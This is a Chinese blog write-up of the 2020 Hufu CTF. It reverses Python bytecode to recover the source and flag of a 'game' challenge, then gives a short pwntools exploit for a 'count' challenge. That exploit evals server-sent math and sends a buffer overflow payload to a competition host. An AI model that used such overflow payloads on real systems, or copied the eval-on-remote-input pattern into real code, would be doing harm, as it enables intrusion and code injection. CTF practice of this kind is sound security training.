avatar

0x01 - 2020虎符CTF记录
  • 太顶了,实力还是 8 行
  • 有机会还是想补补题

Re - game

  • 给了个 Python 反汇编出来的字节码文件,要基于其获取 Python 源码
  • 快 400 行,还行,可读性比汇编好多了…
  • 刚开始以为有轮子,找了半天没轮子,直接硬逆了
  • 比较需要注意的地方有挺多的,首先开始的三个 arr 列表不能抄错了
    • 是的我抄错了,后面 debug 了好久
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# <genexpr> line 6 of game.py

6 0 LOAD_FAST 0 '.0'
3 FOR_ITER 32 'to 38'
6 STORE_FAST 1 'x'
9 LOAD_GLOBAL 0 'ord'
12 LOAD_FAST 1 'x'
15 CALL_FUNCTION_1 1 None
18 LOAD_GLOBAL 1 'range'
21 LOAD_CONST 32
24 LOAD_CONST 128
27 CALL_FUNCTION_2 2 None
30 COMPARE_OP 6 in
33 YIELD_VALUE
34 POP_TOP
35 JUMP_BACK 3 'to 3'
38 LOAD_CONST None
41 RETURN_VALUE
  • 第一个需要注意的地方是 check0,那个 genexpr 是怎么写的不太懂

    • 猜测是检查字符串中的每个字符的 ascii 是否都在 range(32, 128) 里
    • 因为其中也没有涉及到运算符,故没有深究
  • 至于 check2 函数是怎么计算出这六位的,猜测其以 flag{ 开头,能直接计算出第六位是 5

  • check3 是比较麻烦的了,上来一个 map 函数没反应过来,以为是 map(ord(s))

    • 其实注意看的话会发现,此处值 CALL_FUNCTION_2 了一次
    • 故明白其实是调用了有两个参数的函数,那应该是 map(ord,s)
1
2
3
4
5
21       0  LOAD_GLOBAL           0  'map'
3 LOAD_GLOBAL 1 'ord'
6 LOAD_FAST 0 's'
9 CALL_FUNCTION_2 2 None
12 STORE_FAST 1 'arr'
  • 还有个需要注意的是第 26 行的切片
    • 它是获取 flag 倒数第五位到倒数第二位的字符串反向的形式,这个问题也卡了我好久
    • 实际代码应该为 b = arr[-2:33:-1] * 5,相同的字符串拼接五次
1
2
3
4
5
6
7
8
9
26      99  LOAD_FAST             1  'arr'
102 LOAD_CONST -2
105 LOAD_CONST 33
108 LOAD_CONST -1
111 BUILD_SLICE_3 3
114 BINARY_SUBSCR
115 LOAD_CONST 5
118 BINARY_MULTIPLY
119 STORE_FAST 4 'b'
  • check3 里的 c 就是把 b 与 arr[7:27] 下标对应位异或,没什么难点
    • 里面有个 lambda 函数 lambda x: x[0]^x[1]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
  27     122  LOAD_GLOBAL           0  'map'
125 LOAD_LAMBDA '<code_object <lambda>>'
128 MAKE_FUNCTION_0 0 None
131 LOAD_GLOBAL 6 'zip'
134 LOAD_FAST 4 'b'
137 LOAD_FAST 1 'arr'
140 LOAD_CONST 7
143 LOAD_CONST 27
146 SLICE+3
147 CALL_FUNCTION_2 2 None
150 CALL_FUNCTION_2 2 None
153 STORE_FAST 5 'c'

......

# <lambda> line 27 of game.py

27 0 LOAD_FAST 0 'x'
3 LOAD_CONST 0
6 BINARY_SUBSCR
7 LOAD_FAST 0 'x'
10 LOAD_CONST 1
13 BINARY_SUBSCR
14 BINARY_XOR
15 RETURN_VALUE
  • 故完整代码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
arr0 = [249, 91, 149, 113, 16, 91, 53, 41]
arr1 = [43, 1, 6, 69, 20, 62, 6, 44, 24, 113, 6, 35, 0, 3, 6, 44, 20, 22, 127, 60]
arr2 = [90, 100, 87, 109, 86, 108, 105, 90, 104, 88, 102]

def check0(s): # 检测所有字符的 ascii 码在不在 range(32, 128) 里
return True # 生成器逆不出来了

def check1(s):
if len(s) < 100:
if (len(s) * len(s) % 777) ^ 233 == 513:
return True
return False


def check2(s):
if (((((ord(s[0]) * 128 + ord(s[1])) * 128 + ord(s[2])) * 128 + ord(s[3])) * 128 + ord(s[4])) * 128 + ord(s[5])) == 3533889469877L:
if ord(s[-1]) == 125:
return True
return False
def check3(s):
arr = map(ord, s)
a = arr[6:30:3]
for i in range(len(a)):
if (a[i] * 17684 + 372511) % 257 != arr0[i]:
return False
b = arr[-2:33:-1] * 5 # 倒数第五位到倒数第二位,注意是反过来的
c = map(lambda x:x[0]^x[1], zip(b, arr[7:27])) # b 与 arr 每对应位异或
if c != arr1:
return False
p = 0
for i in range(28, 34):
if (arr[i] + 107) / 16 + 77 != arr2[p] and ((arr[i] + 117) % 16) + 99 != arr2[p + 1]:
return False
p = p + 2
return True


flag = raw_input()
if check0(flag) and check1(flag) and check2(flag) and check3(flag):
print 'ok'
else:
print 'no'
  • 然后就是计算 flag 了,刚开始没认真看以为是密码题,其实就是简单逆向

  • 长度很好处理,计算完得到 39

1
2
3
for i in range(100):
if (i * i % 777) ^ 233 == 513:
print i
  • 然后是第六位字符,也很好处理,是 5
1
2
3
4
s = 'flag{'
res = 3533889469877L
print res - ((((ord(s[0]) * 128 + ord(s[1])) * 128 + ord(s[2])) * 128 + ord(s[3])) * 128 + ord(s[4])) * 128
print chr(53)
  • 之后要计算八位的特定位字符,这个挺关键的,用于计算后面那个加密的 key
1
2
3
4
5
6
7
8
arr0 = [249, 91, 149, 113, 16, 91, 53, 41]
flag = 'flag{5aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}'
for j in range(len(arr0)):
for i in range(32, 128):
if (i * 17684 + 372511) % 257 == arr0[j]:
flag = flag[0:6 + j * 3] + chr(i) + flag[6 + j * 3 + 1:]
print flag
#flag{5Laa5aaxaaiaaVaa5aaPaaKaaaaaaaaaa}
  • 根据上面得到的几位特殊位置的字符,可以计算出下标7到26的字符
    • 注意 b 是根据上面的字符推算的,而且是反过来的
1
2
3
4
5
6
7
8
arr1 = [43, 1, 6, 69, 20, 62, 6, 44, 24, 113, 6, 35, 0, 3, 6, 44, 20, 22, 127, 60]
b = [113, 70, 51, 117] * 5
flag2 = ''
for i in range(len(arr1)):
flag2 += chr(arr1[i] ^ b[i])
print flag2 #ZG50ex5Yi75VqE5YePLI
print map(chr, b) #qF3u 实际上是 u3Fq
# flag{5LZG50ex5Yi75VqE5YePLIKaaaaaaqF3u}
  • 最后差六位的 flag,直接根据 arr3 爆破就好了
1
2
3
4
5
6
7
8
9
10
arr2 = [90, 100, 87, 109, 86, 108, 86, 105, 90, 104, 88, 102]
p = 0
flag3 = ''
for j in range(6):
for i in range(32, 128):
if (i + 107) / 16 + 77 == arr2[p] and ((i + 117) % 16) + 99 == arr2[p + 1]:
flag3 += chr(i)
p = p + 2
print flag3 # 'l541pN'
flag = 'flag{5LZG50ex5Yi75VqE5YePLIKl541pNu3Fq}'

Pwn - count

  • 这里是文件
  • 这题相对简单了,溢出点就在计算了 200 次的结果处
  • 直接借用 python 的 eval 函数,用 pwntools 获取需要计算的计算式
  • 半分钟就做完了,然后计算下偏移量 100,溢出覆盖就好了
1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
io = remote('39.97.210.182', 40285)

for i in range(200):
io.recvuntil('Math: ')
str1 = io.recvuntil(' = ???', drop=True)
c = eval(str1)
io.sendline(str(c))

payload = 'a' * (0xDC - 0x78) + p64(304305682)
io.sendline(payload)
io.interactive()
文章作者: Bi0x
文章链接: http://blog.bi0x.cn/2020/04/19/wp-hfctf2020/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Bi0x
打赏
  • 微信
    微信
  • 支付宝
    支付宝

评论